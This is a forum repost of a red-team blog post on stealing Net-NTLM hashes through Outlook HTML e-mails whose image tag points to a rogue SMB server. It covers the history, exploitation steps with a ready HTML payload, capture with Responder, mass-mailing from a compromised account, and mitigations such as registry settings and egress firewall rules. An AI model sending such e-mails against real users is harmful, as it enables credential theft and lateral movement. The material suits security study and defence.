Nytro Posted May 9, 2019 Report Share Posted May 9, 2019 Love letters from the red team: from e-mail to NTLM hashes with Microsoft Outlook ntlm, security, red team — 03 July 2018 Introduction A few months ago Will Dormann of CERT/CC published a blog post [1] describing a technique where an adversary could abuse Microsoft Outlook together with OLE objects, a feature of Microsoft Windows since its early days, to force the operating system to leak Net-NTLM hashes. Last year we wrote a blog post [2] that touched the subject of NTLM hash leakage via a different angle, by abusing common web application vulnerabilities such as Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) to achieve the same goals and obtain the precious hashes we all love and cherish. We recommend reading the post we published previously before continuing unless you are familiar with how Windows single sign-on authenticates itself in corporate networks. Here in Blaze Information Security we have been using for a while, with a high success rate, a similar technique to force MS Outlook to give out NTLM hashes with little to no interaction other than reading a specially-crafted e-mail message. Just recently, while we were writing this blog post, NCC Group published [5] in their blog an article describing the same technique we have been using along with other details, so we decided to publish ours explaining the approach we use and how to mitigate the risk presented by this issue. A brief history of SMB-to-NTLM hashes attacks In a post to Bugtraq mailing list in March 1997 (yes, 21 years ago) Aaron Spangler wrote about a vulnerability [3] in versions of Internet Explorer and Netscape Navigator that worked by embedding an tag with the 'src' value of an SMB share instead of a HTTP or HTTPS page. This would force Windows to initiate an NTLM authentication with a modified SMB server that could fetch the user's Net-NTLM hashes. Interestingly, Aaron's Bugtraq post also hinted about a theoretical flaw in the authentication protocol what would become later known as SMBRelay attacks but they emerged only a few years later. Fast forward to 2016, a Russian security researcher named ValdikSS wrote [6] on Medium what seems to have been a modern replica of the same experiment Spangler did 19 years ago, with little to no modification from the original attack vector. Abusing Microsoft Outlook to steal Net-NTLM hashes Rather than using the CERT/CC technique - taking advantage of the possibility to embed OLE objects inside a RTF, DOC or PDF, which may make security software integrated with the e-mail server to raise their eye brows, this technique exploits Outlook's handling of HTML messages with images and the behavior described in the Bugtraq post of 1997. HTML e-mails with embedded images are very popular, especially in corporate environments, and are less likely to be screened or blocked by anti-virus software and e-mail gateways. The Net-NTLM hashes will be leaked via SMB traffic to an external rogue SMB server, like Responder (our tool of choice for the demo), Core Security's Impacket smbrelay or ntlmrelay or even a custom SMB server. In a nutshell, the attack works by sending an e-mail to victim in HTML format, with an image pointing to an external SMB server. The image can be, for example, a HTML-based e-mail signature. The client will automatically initiate a NTLM authentication against the rogue server, ultimately leaking its hashes. From a victim's perspective in some cases depending on how Outlook is configured to render images in HTML e-mails, there may be an alert about opening external content and this may hint an abnormal behavior. Nevertheless, this is a common occurrence for many Outlook users to have to click through a warning to render an image, so this does not pose a strong obstacle for this exploitation vector. Sometimes we have also noticed a very quick pop-up before fetching content from the remote SMB server in slower connections, also a regular occurrence that is unlikely to raise suspicion. Frequently Outlook is configured to render images automatically when the sender is trusted - common trust relationships are when the sender is internal to the organization. For instance, sending an HTML e-mail with an tag pointing to a rogue SMB server from malicious-adversary@blazeinfosec.com to victim@blazeinfosec.com, will make the Outlook client of victim@blazeinfosec.com render the e-mail automatically and leak NTLM hashes. This can be useful in a scenario where a penetration tester or red teamer has compromised a single e-mail account in the target organization and will use it to compromise other users individually or en masse by sending the bobby-trapped e-mail to a distribution list. Even though in some situations this technique is not as silent as the one described by Will Dormann, it has proved to be very effective in many of our engagements and should be in your attack toolbox. It is worth remembering Net-NTLM hashes cannot be used in Pass-the-Hash attacks, unlike pure NTLM hashes, they can be relayed (under some circumstances) [9] or cracked using off-the-shelf tools like hashcat. Exploitation steps Even though all it takes to exploit the issue is the ability to send an HTML e-mail, meaning it is possible to use any e-mail client or even a script to automate this attack, in this section we will describe how to achieve this using Microsoft Outlook itself. 1) Create a HTML file with the following content: <html> <img src="file:///10.30.1.23/test">Test NTLM leak via Outlook </html> The IP address above is for illustration only and was used in our labs. It can be any IP or hostname, including remote addresses. 2) Create an e-mail message to the target. Add the HTML payload as an attachment but using the option "Insert as Text" so it will create the e-mail message as HTML. 3) The victim opens the e-mail without any further interaction: 4) The target's Net-NTLM hashes were automatically captured by our Responder: An important requirement for this exploit to work is obviously the ability of the target to connect to the attacker's SMB server on port 445. Some ISPs block this port by default, while many others do not. Interestingly enough, Microsoft maintains a small list [7] of ISPs that do not filter outbound access to port 445. Preventing the issue Once again, the problem described in this post is a design decision from Windows and for over 20 years it is known that it can be abused in a myriad of scenarios. There are a couple different ways to reduce the impact brought by this insecure behavior. Setting to 2 the value of the registry key RestrictSendingNTLMTraffic in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV10 will reduce the exposure of this risk, as Windows will no longer send the NTLMv1 or NTLMv2 hashes when challenged by a server, whether it is legitimate or rogue. However, it is likely to break functionality and single sign-on mechanisms, especially in corporate networks that heavily rely on NTLM authentication. Back in 2017 without much advertisement Microsoft also released a mitigation [4] for Windows 10 and Windows Server 2016 that prevents NTLM SSO authentication with resources that are not marked as internal by the Windows Firewall, denying NTLM SSO authentication for public resources, ultimately limiting the exposure of Net-NTLM hashes when challenged by external services like an attacker-operated SMB server. This feature is not activated by default and a user has to opt-in by explicitly applying changes to the registry. From a network security perspective, the adverse effect of this weakness can be mitigated by defining firewall rules that disallow SMB connections to reach non-whitelisted external servers, or even better blocking all external SMB connections altogether if this can be considered an option. Conclusion There are security risks related to NTLM authentication that are frequently overlooked, despite they have been known for over two decades now. Exploiting these issues are trivial and poses a serious risk to an organization, especially from an insider threat point of view or a compromised account scenario. Preventing this issue is not trivial but may be helped with some of the latest Microsoft patches and other carefully thought strategies to restrict NTLM traffic. Maybe one day Microsoft will release a patch or a service pack that will prevent Windows from leaking NTLM hashes all over the place. References [1] https://insights.sei.cmu.edu/cert/2018/04/automatically-stealing-password-hashes-with-microsoft-outlook-and-ole.html [2] https://blog.blazeinfosec.com/leveraging-web-application-vulnerabilities-to-steal-ntlm-hashes-2/ [3] http://insecure.org/sploits/winnt.automatic.authentication.html [4] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170014 [5] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/smb-hash-hijacking-and-user-tracking-in-ms-outlook/ [6] https://medium.com/@ValdikSS/deanonymizing-windows-users-and-capturing-microsoft-and-vpn-accounts-f7e53fe73834 [7] http://witch.valdikss.org.ru/ [8] https://social.technet.microsoft.com/wiki/contents/articles/32346.azure-summary-of-isps-that-allow-disallow-access-from-port-445.aspx [9] https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html Sursa: https://blog.blazeinfosec.com/love-letters-from-the-red-team-from-e-mail-to-ntlm-hashes-with-microsoft-outlook/ 1 Quote Link to comment Share on other sites More sharing options...
